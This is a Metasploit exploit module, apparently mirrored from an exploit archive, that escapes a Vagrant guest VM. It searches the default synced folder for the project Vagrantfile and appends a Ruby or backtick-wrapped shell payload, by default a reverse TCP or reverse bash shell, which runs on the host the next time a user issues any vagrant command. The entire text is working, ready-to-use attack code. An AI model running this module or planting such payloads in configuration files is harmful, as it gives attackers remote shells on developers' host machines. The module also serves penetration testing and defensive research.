Share
## https://sploitus.com/exploit?id=PACKETSTORM:169533
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Vagrant Synced Folder Vagrantfile Breakout',  
'Description' => %q{  
This module exploits a default Vagrant synced folder (shared folder)  
to append a Ruby payload to the Vagrant project Vagrantfile config file.  
  
By default, unless a Vagrant project explicitly disables shared folders,  
Vagrant mounts the project directory on the host as a writable 'vagrant'  
directory on the guest virtual machine. This directory includes the  
project Vagrantfile configuration file.  
  
Ruby code within the Vagrantfile is loaded and executed when a user  
runs any vagrant command from the project directory on the host,  
leading to execution of Ruby code on the host.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'HashiCorp', # Vagrant defaults  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2011-01-19', # Vagrant 0.7.0 release date - first mention of shared folders in CHANGELOG  
'Platform' => %w[ruby],  
'Arch' => ARCH_ALL,  
'SessionTypes' => [ 'shell', 'powershell', 'meterpreter' ],  
'Stance' => Msf::Exploit::Stance::Passive,  
'DefaultOptions' => {  
'DisablePayloadHandler' => true  
},  
'Targets' => [  
[  
'Ruby Code',  
{  
'Platform' => 'ruby',  
'Arch' => ARCH_RUBY,  
'Type' => :ruby,  
'DefaultOptions' => {  
'PAYLOAD' => 'ruby/shell_reverse_tcp'  
}  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'Payload' => { 'BadChars' => '`' },  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'References' => [  
['URL', 'https://www.vagrantup.com/docs/synced-folders'],  
['URL', 'https://www.virtualbox.org/manual/ch04.html#sharedfolders']  
],  
'Notes' => {  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]  
}  
)  
)  
register_options([  
OptString.new('VAGRANTFILE_PATH', [false, 'Path to Vagrantfile (leave blank to auto detect)', ''])  
])  
end  
  
# Search potential default shared directories for Vagrantfile configuration file  
def find_vagrantfile_path  
unless datastore['VAGRANTFILE_PATH'].blank?  
return exists?(datastore['VAGRANTFILE_PATH']) ? datastore['VAGRANTFILE_PATH'] : nil  
end  
  
# Default Vagrant synced folders (aka shared folders)  
default_shared_directories = [  
'C:\\vagrant\\',  
'/vagrant/'  
]  
  
default_shared_directories.each do |dir_path|  
begin  
vagrant_shared_dir_contents = dir(dir_path)  
rescue Rex::Post::Meterpreter::RequestError  
next  
end  
  
next if vagrant_shared_dir_contents.empty?  
  
# Vagrant project configuration file name is case-insensitive (typically "Vagrantfile")  
vagrant_shared_dir_contents.each do |fname|  
return "#{dir_path}#{fname}" if fname.downcase == 'vagrantfile'  
end  
end  
  
nil  
end  
  
def vagrantfile  
@vagrantfile ||= find_vagrantfile_path  
end  
  
def check  
return CheckCode::Safe('Vagrantfile not found.') unless vagrantfile  
  
# `writable?' method does not support Windows systems  
begin  
return CheckCode::Detected("#{vagrantfile} is not writable.") unless writable?(vagrantfile)  
rescue RuntimeError  
return CheckCode::Detected("Could not verify if #{vagrantfile} is writable.")  
end  
  
CheckCode::Appears("#{vagrantfile} is writable!")  
end  
  
def exploit  
fail_with(Failure::NotVulnerable, 'Could not find Vagrantfile') unless vagrantfile  
  
case target['Type']  
when :ruby  
data = payload.encoded  
when :unix_cmd  
data = "`#{payload.encoded}`"  
else  
fail_with(Failure::NoTarget, 'No target selected')  
end  
  
print_status("Appending payload (#{data.length} bytes) to #{vagrantfile} ...")  
  
unless append_file(vagrantfile, "\n#{data}\n")  
fail_with(Failure::Unknown, "Could not write to #{vagrantfile}")  
end  
  
print_status("Payload appended to #{vagrantfile}")  
print_status('The payload will be executed when a user runs any vagrant command from within the project directory on the host system.')  
print_warning("This module requires manual removal of the payload from the project Vagrantfile: #{vagrantfile}")  
end  
end